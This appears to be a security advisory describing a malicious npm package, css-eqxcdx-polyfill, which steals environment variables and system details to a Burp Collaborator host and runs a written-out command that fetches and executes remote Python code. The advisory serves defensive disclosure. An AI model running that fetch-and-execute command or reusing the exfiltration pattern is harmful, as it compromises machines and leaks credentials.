Malicious code in css-eqxcdx-polyfill (npm)

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

--- _-= Per source details.

First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged `cmd=env` beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs `curl -L https://appsecc.com/py | python3` via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled `cmd=reverse-shell` beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.
